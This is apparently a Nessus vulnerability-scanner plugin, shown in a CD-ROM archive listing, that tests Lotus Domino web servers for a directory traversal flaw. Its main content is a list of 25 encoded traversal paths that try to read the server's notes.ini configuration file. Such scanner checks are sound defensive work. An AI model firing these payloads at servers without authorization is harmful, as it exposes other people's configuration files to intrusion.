home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / notesinicheck.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  101 lines

  1. # Copyright (C) 2000 - 2004 Net-Square Solutions Pvt Ltd.
  2. # By: Hemil Shah
  3. # Desc: This script will check for the notes.ini file in the remote web server.
  4.  
  5. if(description)
  6. {
  7.         script_id(12248);
  8.         script_version ("$Revision: 1.4 $");
  9.         name["english"] = "notes.ini checker";
  10.         script_name(english:name["english"]);
  11.         desc["english"] = 
  12. " This plugin attempts to determine the existence of a directory traversal 
  13. bug on the remote Lotus Domino Web server
  14.  
  15. Risk: High";
  16.  
  17.         script_description(english:desc["english"]);
  18.         summary["english"] = "notes.ini checker";
  19.         script_summary(english:summary["english"]);
  20.         script_category(ACT_ATTACK);
  21.         script_copyright(english:"This script is Copyright (C) 2004 Net-Square Solutions Pvt Ltd.");
  22.         family["english"] = "Misc.";
  23.         script_family(english:family["english"]);
  24.         script_dependencie("http_version.nasl");
  25.         script_require_ports("Services/www", 80);
  26.         exit(0);
  27. }
  28.  
  29.  
  30.  
  31. # start script
  32.  
  33. include("http_func.inc");
  34. include("http_keepalive.inc");
  35.  
  36.  
  37.  
  38. port = get_http_port(default:80);
  39.  
  40. if(! get_port_state(port))
  41.     exit(0);
  42.  
  43. if ( get_kb_item("www/no404/" + port ) ) exit(0);
  44.  
  45. banner = get_http_banner(port:port);
  46. if ( "Domino" >!< banner ) exit(0);
  47.  
  48. DEBUG = 0;
  49.  
  50. if(check_win_dir_trav_ka(port: port, url:"../../../../whatever.ini", quickcheck:1))exit(0);
  51.  
  52.  
  53. dirs[0] = "/%00%00.nsf/../lotus/domino/notes.ini";
  54. dirs[1] = "/%00%20.nsf/../lotus/domino/notes.ini";
  55. dirs[2] = "/%00%c0%af.nsf/../lotus/domino/notes.ini";
  56. dirs[3] = "/%00...nsf/../lotus/domino/notes.ini";
  57. dirs[4] = "/%00.nsf//../lotus/domino/notes.ini";
  58. dirs[5] = "/%00.nsf/../lotus/domino/notes.ini";
  59. dirs[6] = "/%00.nsf/..//lotus/domino/notes.ini";
  60. dirs[7] = "/%00.nsf/../../lotus/domino/notes.ini";
  61. dirs[8] = "/%00.nsf.nsf/../lotus/domino/notes.ini";
  62. dirs[9] = "/%20%00.nsf/../lotus/domino/notes.ini";
  63. dirs[10] = "/%20.nsf//../lotus/domino/notes.ini";
  64. dirs[11] = "/%20.nsf/..//lotus/domino/notes.ini";
  65. dirs[12] = "/%c0%af%00.nsf/../lotus/domino/notes.ini";
  66. dirs[13] = "/%c0%af.nsf//../lotus/domino/notes.ini";
  67. dirs[14] = "/%c0%af.nsf/..//lotus/domino/notes.ini";
  68. dirs[15] = "/...nsf//../lotus/domino/notes.ini";
  69. dirs[16] = "/...nsf/..//lotus/domino/notes.ini";
  70. dirs[17] = "/.nsf///../lotus/domino/notes.ini";
  71. dirs[18] = "/.nsf//../lotus/domino/notes.ini";
  72. dirs[19] = "/.nsf//..//lotus/domino/notes.ini";
  73. dirs[20] = "/.nsf/../lotus/domino/notes.ini";
  74. dirs[21] = "/.nsf/../lotus/domino/notes.ini";
  75. dirs[22] = "/.nsf/..///lotus/domino/notes.ini";
  76. dirs[23] = "/.nsf%00.nsf/../lotus/domino/notes.ini";
  77. dirs[24] = "/.nsf.nsf//../lotus/domino/notes.ini";
  78.  
  79. report = string("The Lotus Domino Web server is vulnerable to a directory-traversal attack\n");
  80.  
  81.  
  82. for (i=0; dirs[i]; i++)
  83. {  
  84.     req = http_get(item:dirs[i], port:port); 
  85.     res = http_keepalive_send_recv(port:port, data:req);
  86.     if ( res == NULL ) exit(0);
  87.  
  88.        
  89.         if(ereg(pattern:"^HTTP/[01]\.[01] 200 ", string:res)  )
  90.         {
  91.         if ("DEBUG" >< res)
  92.         {
  93.             report = report + string("specifically, the request for ", dirs[i], " appears\n");
  94.                 report = report + string("to have retrieved the notes.ini file.  See also:\n");
  95.             report = report + string("http://www.securityfocus.com/archive/101/155904/2001-01-08/2001-01-14/0\n");
  96.                 security_hole(port:port, data:report);            
  97.                 exit(0);
  98.         }
  99.         }
  100. }
  101.